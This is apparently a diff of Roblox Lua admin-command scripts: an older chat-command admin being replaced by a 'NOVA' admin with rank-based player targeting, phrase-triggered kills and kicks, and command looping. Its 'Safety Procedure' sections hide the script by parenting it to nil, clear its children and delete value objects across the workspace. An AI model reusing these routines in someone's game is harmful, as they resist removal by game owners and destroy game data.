1251 | - | for a, tool in pairs(game.Lighting:children()) do |
1251 | + | local Name = Name:lower() |
1252 | - | if tool:IsA("Tool") or tool:IsA("HopperBin") then |
1252 | + | local Players = GetPlayersRaw() |
1253 | - | if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end |
1253 | + | local Rtn = {} |
1254 | for i=1,#Name do | |
1255 | if Name:find(",") then | |
1256 | local Split = 0 | |
1257 | for i=1,#Name do | |
1258 | if Name:sub(i,i) == "," then | |
1259 | Split = i | |
1260 | end | |
1261 | - | if msg:lower():sub(1,12) == "removetools " then |
1261 | + | end |
1262 | - | local plrz = GetPlr(plr, msg:lower():sub(13)) |
1262 | + | for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do |
1263 | - | for i, v in pairs(plrz) do |
1263 | + | table.insert(Rtn,v) |
1264 | end | |
1265 | - | if v and v.Character and v:findFirstChild("Backpack") then |
1265 | + | Name = Name:sub(1,Split-1) |
1266 | - | for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end |
1266 | + | end |
1267 | - | for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end |
1267 | + | end |
1268 | if Name == "external players" then | |
1269 | for _,v in pairs(NOVA.ExternalPlayersList) do | |
1270 | if GetRank(Speaker) >= GetRank(v) then | |
1271 | table.insert(Rtn,v) | |
1272 | else | |
1273 | - | if msg:lower():sub(1,5) == "rank " then |
1273 | + | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) |
1274 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
1274 | + | end |
1275 | - | local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
1275 | + | end |
1276 | - | for i, v in pairs(plrz) do |
1276 | + | elseif Name == "all" then |
1277 | for _,v in pairs(Players) do | |
1278 | - | if v and v:IsInGroup(msg:sub(chk1+1)) then |
1278 | + | if GetRank(Speaker) >= GetRank(v) then |
1279 | - | Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr}) |
1279 | + | table.insert(Rtn,v) |
1280 | - | elseif v and not v:IsInGroup(msg:sub(chk1+1))then |
1280 | + | else |
1281 | - | Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr}) |
1281 | + | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) |
1282 | end | |
1283 | end | |
1284 | elseif Name == "others" then | |
1285 | for _,v in pairs(Players) do | |
1286 | if v ~= Speaker then | |
1287 | - | if msg:lower():sub(1,7) == "damage " then |
1287 | + | if GetRank(Speaker) >= GetRank(v) then |
1288 | - | local chk1 = msg:lower():sub(8):find(" ") + 7 |
1288 | + | table.insert(Rtn,v) |
1289 | - | local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1)) |
1289 | + | else |
1290 | - | for i, v in pairs(plrz) do |
1290 | + | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) |
1291 | end | |
1292 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1292 | + | end |
1293 | - | v.Character.Humanoid:TakeDamage(msg:sub(chk1+1)) |
1293 | + | end |
1294 | elseif Name == "random" then | |
1295 | local Person = Players[math.random(1,#Players)] | |
1296 | if GetRank(Speaker) >= GetRank(Person) then | |
1297 | table.insert(Rtn,Person) | |
1298 | else | |
1299 | - | if msg:lower():sub(1,5) == "grav " then |
1299 | + | Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) |
1300 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
1300 | + | end |
1301 | - | for i, v in pairs(plrz) do |
1301 | + | elseif Name == "me" or Name == "not me" or Name =="notme" then |
1302 | table.insert(Rtn,Speaker) | |
1303 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1303 | + | elseif Name == "vetrans" then |
1304 | - | for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end |
1304 | + | for _,v in pairs(Players) do |
1305 | if v.AccountAge > 365 then | |
1306 | if GetRank(Speaker) >= GetRank(v) then | |
1307 | table.insert(Rtn,v) | |
1308 | else | |
1309 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1310 | - | if msg:lower():sub(1,8) == "setgrav " then |
1310 | + | end |
1311 | - | local chk1 = msg:lower():sub(9):find(" ") + 8 |
1311 | + | end |
1312 | - | local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1)) |
1312 | + | end |
1313 | - | for i, v in pairs(plrz) do |
1313 | + | elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then |
1314 | for _,v in pairs(Players) do | |
1315 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1315 | + | if v.AccountAge < 365 then |
1316 | - | for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end |
1316 | + | if GetRank(Speaker) >= GetRank(v) then |
1317 | - | local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0) |
1317 | + | table.insert(Rtn,v) |
1318 | - | for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end |
1318 | + | else |
1319 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1320 | end | |
1321 | end | |
1322 | end | |
1323 | elseif Name == "newbs" or Name == "noobs" then | |
1324 | - | if msg:lower():sub(1,7) == "nograv " then |
1324 | + | for _,v in pairs(Players) do |
1325 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1325 | + | if v.AccountAge < 60 then |
1326 | - | for i, v in pairs(plrz) do |
1326 | + | if GetRank(Speaker) >= GetRank(v) then |
1327 | table.insert(Rtn,v) | |
1328 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1328 | + | else |
1329 | - | for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end |
1329 | + | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) |
1330 | - | local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0) |
1330 | + | end |
1331 | - | for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end |
1331 | + | end |
1332 | end | |
1333 | elseif Name == "targeted" then | |
1334 | for _,v in pairs(NOVA.Targeted) do | |
1335 | if GetRank(Speaker) >= GetRank(v) then | |
1336 | table.insert(Rtn,v) | |
1337 | - | if msg:lower():sub(1,7) == "health " then |
1337 | + | else |
1338 | - | local chk1 = msg:lower():sub(8):find(" ") + 7 |
1338 | + | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) |
1339 | - | local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1)) |
1339 | + | end |
1340 | - | for i, v in pairs(plrz) do |
1340 | + | end |
1341 | elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then | |
1342 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1342 | + | for _,v in pairs(Players) do |
1343 | - | v.Character.Humanoid.MaxHealth = msg:sub(chk1+1) |
1343 | + | if not IsTargeted(v) then |
1344 | - | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth |
1344 | + | if GetRank(Speaker) >= GetRank(v) then |
1345 | table.insert(Rtn,v) | |
1346 | else | |
1347 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1348 | end | |
1349 | end | |
1350 | - | if msg:lower():sub(1,6) == "speed " then |
1350 | + | end |
1351 | - | local chk1 = msg:lower():sub(7):find(" ") + 6 |
1351 | + | elseif string.sub(Name,1,5) == "rank " then |
1352 | - | local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) |
1352 | + | local ToKillRank = string.sub(Name,6) |
1353 | - | for i, v in pairs(plrz) do |
1353 | + | for i,v in pairs(game.Players:GetPlayers()) do |
1354 | if GetRanked(v) == ToKillRank then | |
1355 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") then |
1355 | + | if GetRank(Speaker) >= GetRank(v) then |
1356 | - | v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1) |
1356 | + | table.insert(Rtn,v) |
1357 | else | |
1358 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1359 | end | |
1360 | end | |
1361 | end | |
1362 | - | if msg:lower():sub(1,5) == "team " then |
1362 | + | elseif Name:sub(1,4) == "not " then |
1363 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
1363 | + | for _,v in pairs(Players) do |
1364 | - | local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
1364 | + | for _,Check in pairs(Players) do |
1365 | - | for i, v in pairs(plrz) do |
1365 | + | if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then |
1366 | if v ~= Check then | |
1367 | - | if v and game:findFirstChild("Teams") then |
1367 | + | if GetRank(Speaker) >= GetRank(v) then |
1368 | - | for a, tm in pairs(game.Teams:children()) do |
1368 | + | table.insert(Rtn,v) |
1369 | - | if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end |
1369 | + | else |
1370 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1371 | end | |
1372 | end | |
1373 | end | |
1374 | end | |
1375 | end | |
1376 | - | if msg:lower():sub(1,6) == "place " then |
1376 | + | else |
1377 | - | local chk1 = msg:lower():sub(7):find(" ") + 6 |
1377 | + | for _,v in pairs(Players) do |
1378 | - | local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) |
1378 | + | if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then |
1379 | - | for i, v in pairs(plrz) do |
1379 | + | if GetRank(Speaker) >= GetRank(v) then |
1380 | table.insert(Rtn,v) | |
1381 | - | if v and v:findFirstChild("PlayerGui") then |
1381 | + | else |
1382 | - | local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false |
1382 | + | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) |
1383 | end | |
1384 | end | |
1385 | end | |
1386 | end | |
1387 | return Rtn | |
1388 | - | if msg:lower():sub(1,3) == "tp " then |
1388 | + | |
1389 | - | local chk1 = msg:lower():sub(4):find(" ") + 3 |
1389 | + | |
1390 | - | local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1)) |
1390 | + | --[[ ON CHATTED ]]-- |
1391 | - | local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1)) |
1391 | + | function OnChatted(Msg,Speaker) |
1392 | - | for i, v in pairs(plrz) do |
1392 | + | coroutine.resume(coroutine.create(function() |
1393 | if NOVA.Removed == false then | |
1394 | - | for i2, v2 in pairs(plrz2) do |
1394 | + | if Msg:find(" --") then |
1395 | - | if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then |
1395 | + | for i=1,#Msg do |
1396 | - | v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1)) |
1396 | + | if Msg:sub(i,i+2) == " --" then |
1397 | Msg = Msg:sub(1,i-1) | |
1398 | break | |
1399 | end | |
1400 | end | |
1401 | end | |
1402 | local Data = GetRankedTable(Speaker) | |
1403 | - | if msg:lower():sub(1,7) == "change " then |
1403 | + | if game.PlaceId == 20279777 or game.PlaceId == 20132544 then |
1404 | - | local chk1 = msg:lower():sub(8):find(" ") + 7 |
1404 | + | if NOVA.ShowChat == true then |
1405 | - | local chk2 = msg:sub(chk1+1):find(" ") + chk1 |
1405 | + | if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then |
1406 | - | local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1)) |
1406 | + | print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker))) |
1407 | - | for i, v in pairs(plrz) do |
1407 | + | else |
1408 | print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg) | |
1409 | - | if v and v:findFirstChild("leaderstats") then |
1409 | + | end |
1410 | - | for a, st in pairs(v.leaderstats:children()) do |
1410 | + | end |
1411 | - | if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end |
1411 | + | end |
1412 | ||
1413 | --[[ CHAT FILTERS ]]-- | |
1414 | for _,v in pairs(NOVA.ChatFilters) do | |
1415 | if Msg:lower():sub(1,#v + 1) == v:lower().." " then | |
1416 | Msg = Msg:sub(#v+2) | |
1417 | end | |
1418 | - | if msg:lower():sub(1,6) == "shirt " then |
1418 | + | end |
1419 | - | local chk1 = msg:lower():sub(7):find(" ") + 6 |
1419 | + | |
1420 | - | local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) |
1420 | + | if GetRank(Speaker) < 6 then |
1421 | - | for i, v in pairs(plrz) do |
1421 | + | --[[ KILLING PHRASES ]]-- |
1422 | for _,v in pairs(NOVA.KillingPhrases) do | |
1423 | - | if v and v.Character then |
1423 | + | if Msg:lower():find(v:lower()) then |
1424 | - | for i,v in pairs(v.Character:children()) do |
1424 | + | pcall(function() |
1425 | - | if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end |
1425 | + | Speaker.Character:BreakJoints() |
1426 | end) | |
1427 | end | |
1428 | end | |
1429 | end | |
1430 | local FoundKick = false | |
1431 | if NOVA.BadPhrases == true then | |
1432 | - | if msg:lower():sub(1,6) == "pants " then |
1432 | + | if GetRank(Speaker) <= 0 then |
1433 | - | local chk1 = msg:lower():sub(7):find(" ") + 6 |
1433 | + | --[[ KICKING PHRASES ]]-- |
1434 | - | local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) |
1434 | + | --if game.PlaceId == 113456 or game.PlaceId == 56786 then |
1435 | - | for i, v in pairs(plrz) do |
1435 | + | for _,v in pairs(NOVA.KickingPhrases) do |
1436 | if FoundKick == false then | |
1437 | - | if v and v.Character then |
1437 | + | if Msg:lower():find(v:lower()) then |
1438 | - | for i,v in pairs(v.Character:children()) do |
1438 | + | GetRidOf(Speaker) |
1439 | - | if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end |
1439 | + | FoundKick = true |
1440 | makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace) | |
1441 | pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end) | |
1442 | end | |
1443 | end | |
1444 | end | |
1445 | end | |
1446 | - | if msg:lower():sub(1,5) == "face " then |
1446 | + | end |
1447 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
1447 | + | |
1448 | - | local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
1448 | + | --[[ ANIMATIONS ]]-- |
1449 | - | for i, v in pairs(plrz) do |
1449 | + | for _,v in pairs(NOVA.Animations) do |
1450 | if Speaker.Name == v.Who then | |
1451 | - | if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then |
1451 | + | if Msg:lower():find(v.Name:lower()) then |
1452 | - | v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1 |
1452 | + | pcall(function() |
1453 | CreateLocalScript([[ | |
1454 | local Animation = Instance.new("Animation",workspace) | |
1455 | Animation.Name = "tusKOr661's Animation" | |
1456 | Animation.AnimationId = "]]..v.Id..[[" | |
1457 | local hum = game:GetService("Players").LocalPlayer.Character.Humanoid | |
1458 | - | --------------------- |
1458 | + | local anim_feet = hum:LoadAnimation(Animation) |
1459 | - | -- FunCommands -- |
1459 | + | local current = anim_feet |
1460 | - | --------------------- |
1460 | + | current:Play(0.5) |
1461 | - | if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then |
1461 | + | ]],Speaker.Backpack) |
1462 | end) | |
1463 | - | if msg:lower():sub(1,8) == "swagify " then |
1463 | + | end |
1464 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1464 | + | end |
1465 | - | for i, v in pairs(plrz) do |
1465 | + | end |
1466 | ||
1467 | - | if v and v.Character then |
1467 | + | Num = 1 |
1468 | - | for i,v in pairs(v.Character:children()) do |
1468 | + | Sep = nil |
1469 | - | if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end |
1469 | + | |
1470 | - | if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end |
1470 | + | if Msg:sub(1,3) == NOVA.Bet .. "do" then |
1471 | ||
1472 | - | for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end |
1472 | + | for i=4,#Msg do |
1473 | - | local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer |
1473 | + | if Msg:sub(i,i) == NOVA.Bet .. "" then |
1474 | - | repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso") |
1474 | + | Sep = i |
1475 | - | local torso = plr.Character.Torso |
1475 | + | break |
1476 | - | local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false |
1476 | + | end |
1477 | - | p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom" |
1477 | + | end |
1478 | - | p.Size = Vector3.new(.2,.2,.2) |
1478 | + | |
1479 | - | local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5) |
1479 | + | if Sep ~= nil then |
1480 | - | local motor1 = Instance.new("Motor", p) |
1480 | + | Num = tonumber(Msg:sub(4,Sep-1)) |
1481 | - | motor1.Part0 = p |
1481 | + | end |
1482 | - | motor1.Part1 = torso |
1482 | + | |
1483 | - | motor1.MaxVelocity = .01 |
1483 | + | Msg = Msg:sub(Sep) |
1484 | - | motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) |
1484 | + | end |
1485 | - | motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0) |
1485 | + | |
1486 | - | local wave = false |
1486 | + | table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg}) |
1487 | - | repeat wait(1/44) |
1487 | + | |
1488 | - | local ang = 0.1 |
1488 | + | if Data.Rank < 6 and Data.Rank >= 0 then |
1489 | - | local oldmag = torso.Velocity.magnitude |
1489 | + | if Num > (GetRank(Speaker) + 1 )*10 then |
1490 | - | local mv = .002 |
1490 | + | Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5) |
1491 | - | if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end |
1491 | + | Num = 0 |
1492 | - | ang = ang + math.min(torso.Velocity.magnitude/11, .5) |
1492 | + | end |
1493 | - | motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv |
1493 | + | end |
1494 | - | motor1.DesiredAngle = -ang |
1494 | + | for i=1,Num do |
1495 | - | if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end |
1495 | + | if NOVA.Canceled == true then NOVA.Canceled = false break end |
1496 | - | repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1 |
1496 | + | for _,CMD in pairs(NOVA.Commands) do |
1497 | - | if torso.Velocity.magnitude < .1 then wait(.1) end |
1497 | + | if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then |
1498 | - | until not p or p.Parent ~= torso.Parent |
1498 | + | RemoveTablets(Speaker) |
1499 | - | script:Destroy() |
1499 | + | Output("Name : "..CMD.Name,Data.Color,Speaker) |
1500 | - | ]] cl.Parent = v.PlayerGui cl.Disabled = false |
1500 | + | Output("Rank : "..CMD.Rank,Data.Color,Speaker) |
1501 | Output("Command : "..CMD.Command,Data.Color,Speaker) | |
1502 | Output("Arguments : "..CMD.Args,Data.Color,Speaker) | |
1503 | Output("Description : "..CMD.Description,Data.Color,Speaker) | |
1504 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1505 | elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then | |
1506 | - | if msg:lower():sub(1,6) == "music " then |
1506 | + | if Data.Rank ~= nil and Data.Rank >= CMD.Rank then |
1507 | - | for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end |
1507 | + | if NOVA.Overrided == true and Data.Rank < 7 then |
1508 | - | local id = msg:sub(7) |
1508 | + | Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15) |
1509 | - | local pitch = 1 |
1509 | + | else |
1510 | - | if tostring(id):lower():find("caramell") then id = 2303479 end |
1510 | + | local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end)) |
1511 | - | if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end |
1511 | + | if not a then |
1512 | - | if tostring(id):find("rick") then id = 2027611 end |
1512 | + | Output(b,NOVA.Colors.Red,Speaker,15) |
1513 | - | if tostring(id):find("halo") then id = 1034065 end |
1513 | + | else |
1514 | - | if tostring(id):find("pokemon") then id = 1372261 end |
1514 | + | table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name}) |
1515 | - | if tostring(id):find("cursed") then id = 1372257 end |
1515 | + | end |
1516 | - | if tostring(id):find("extreme") then id = 11420933 end |
1516 | + | end |
1517 | - | if tostring(id):find("awaken") then id = 27697277 end |
1517 | + | else |
1518 | - | if tostring(id):find("alone") then id = 27697392 end |
1518 | + | table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."}) |
1519 | - | if tostring(id):find("mario") then id = 1280470 end |
1519 | + | print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.") |
1520 | - | if tostring(id):find("choir") then id = 1372258 end |
1520 | + | Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7) |
1521 | - | if tostring(id):find("chrono") then id = 1280463 end |
1521 | + | end |
1522 | - | if tostring(id):find("dotr") then id = 11420922 end |
1522 | + | |
1523 | - | if tostring(id):find("entertain") then id = 27697267 end |
1523 | + | end |
1524 | - | if tostring(id):find("fantasy") then id = 1280473 end |
1524 | + | end |
1525 | - | if tostring(id):find("final") then id = 1280414 end |
1525 | + | wait() |
1526 | - | if tostring(id):find("emblem") then id = 1372259 end |
1526 | + | end |
1527 | - | if tostring(id):find("flight") then id = 27697719 end |
1527 | + | end |
1528 | - | if tostring(id):find("banjo") then id = 27697298 end |
1528 | + | end)) |
1529 | - | if tostring(id):find("gothic") then id = 27697743 end |
1529 | + | |
1530 | - | if tostring(id):find("hiphop") then id = 27697735 end |
1530 | + | |
1531 | - | if tostring(id):find("intro") then id = 27697707 end |
1531 | + | --[[ ADD COMMAND ]]-- |
1532 | - | if tostring(id):find("mule") then id = 1077604 end |
1532 | + | function AddCommand(Name,Command,Rank,Description,Args,Function) |
1533 | - | if tostring(id):find("film") then id = 27697713 end |
1533 | + | for i,v in pairs(NOVA.Commands) do |
1534 | - | if tostring(id):find("nezz") then id = 8610025 end |
1534 | + | if v.Command == Command then |
1535 | - | if tostring(id):find("angel") then id = 1372260 end |
1535 | + | table.remove(NOVA.Commands,i) |
1536 | - | if tostring(id):find("resist") then id = 27697234 end |
1536 | + | end |
1537 | - | if tostring(id):find("schala") then id = 5985787 end |
1537 | + | end |
1538 | - | if tostring(id):find("organ") then id = 11231513 end |
1538 | + | table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function}) |
1539 | - | if tostring(id):find("tunnel") then id = 9650822 end |
1539 | + | |
1540 | - | if tostring(id):find("spanish") then id = 5982975 end |
1540 | + | |
1541 | - | if tostring(id):find("venom") then id = 1372262 end |
1541 | + | --[[ BACKUP PROCEDURE ]]-- |
1542 | - | if tostring(id):find("wind") then id = 1015394 end |
1542 | + | pcall(function() |
1543 | - | if tostring(id):find("guitar") then id = 5986151 end |
1543 | + | NOVA.Backup = script:children()[2].Value |
1544 | - | local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying |
1544 | + | |
1545 | ||
1546 | --[[ NIL SUPPORT ]]-- | |
1547 | - | if msg:lower() == "stopmusic" then |
1547 | + | game:GetService("Chat").Chatted:connect(function(Part,Message,Color) |
1548 | - | for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end |
1548 | + | local Split = GetSplit(Message) |
1549 | OnChatted(Message:sub(Split+1),Message:sub(Split-1)) | |
1550 | end) | |
1551 | - | if msg:lower() == "musiclist" then |
1551 | + | |
1552 | - | if plr.PlayerGui:findFirstChild("MUSICGUI") then return end |
1552 | + | --[[ Safety Procedure # 1 ]]-- |
1553 | - | local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui |
1553 | + | pcall(function() |
1554 | - | local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"} |
1554 | + | NOVA.LocalScript.Parent = nil |
1555 | - | for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end |
1555 | + | |
1556 | for _,v in pairs(NOVA.Plugins) do | |
1557 | pcall(function() | |
1558 | - | if msg:lower():sub(1,4) == "fly " then |
1558 | + | v.Parent = nil |
1559 | - | local plrz = GetPlr(plr, msg:lower():sub(5)) |
1559 | + | end) |
1560 | - | for i, v in pairs(plrz) do |
1560 | + | |
1561 | pcall(function() | |
1562 | - | if v and v:findFirstChild("PlayerGui") then |
1562 | + | script:ClearAllChildren() |
1563 | - | local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") |
1563 | + | |
1564 | - | local mouse = game.Players.LocalPlayer:GetMouse() |
1564 | + | |
1565 | - | repeat wait() until mouse |
1565 | + | --[[ Safty Procedure # 2 ]]-- |
1566 | - | local plr = game.Players.LocalPlayer |
1566 | + | for _,v in pairs(GetRecursiveChildren(workspace)) do |
1567 | - | local torso = plr.Character.Torso |
1567 | + | if v:IsA("StringValue") or v:IsA("IntValue") then |
1568 | - | local flying = true |
1568 | + | pcall(function() |
1569 | - | local deb = true |
1569 | + | v:remove() |
1570 | - | local ctrl = {f = 0, b = 0, l = 0, r = 0} |
1570 | + | end) |
1571 | - | local lastctrl = {f = 0, b = 0, l = 0, r = 0} |
1571 | + | end |
1572 | - | local maxspeed = 50 |
1572 | + | |
1573 | - | local speed = 0 |
1573 | + | |
1574 | - | function Fly() |
1574 | + | --[[ SCRIPT LOGGING PROCEDURES ]]-- |
1575 | - | local bg = Instance.new("BodyGyro", torso) |
1575 | + | for _,Service in pairs(NOVA.Services) do |
1576 | - | bg.P = 9e4 |
1576 | + | pcall(function() |
1577 | - | bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) |
1577 | + | Service.DescendantAdded:connect(function(v) |
1578 | - | bg.cframe = torso.CFrame |
1578 | + | if v:IsA("BaseScript") then |
1579 | - | local bv = Instance.new("BodyVelocity", torso) |
1579 | + | table.insert(NOVA.LoggedScripts,v) |
1580 | - | bv.velocity = Vector3.new(0,0.1,0) |
1580 | + | end |
1581 | - | bv.maxForce = Vector3.new(9e9, 9e9, 9e9) |
1581 | + | end) |
1582 | - | repeat wait() |
1582 | + | end) |
1583 | - | plr.Character.Humanoid.PlatformStand = true |
1583 | + | |
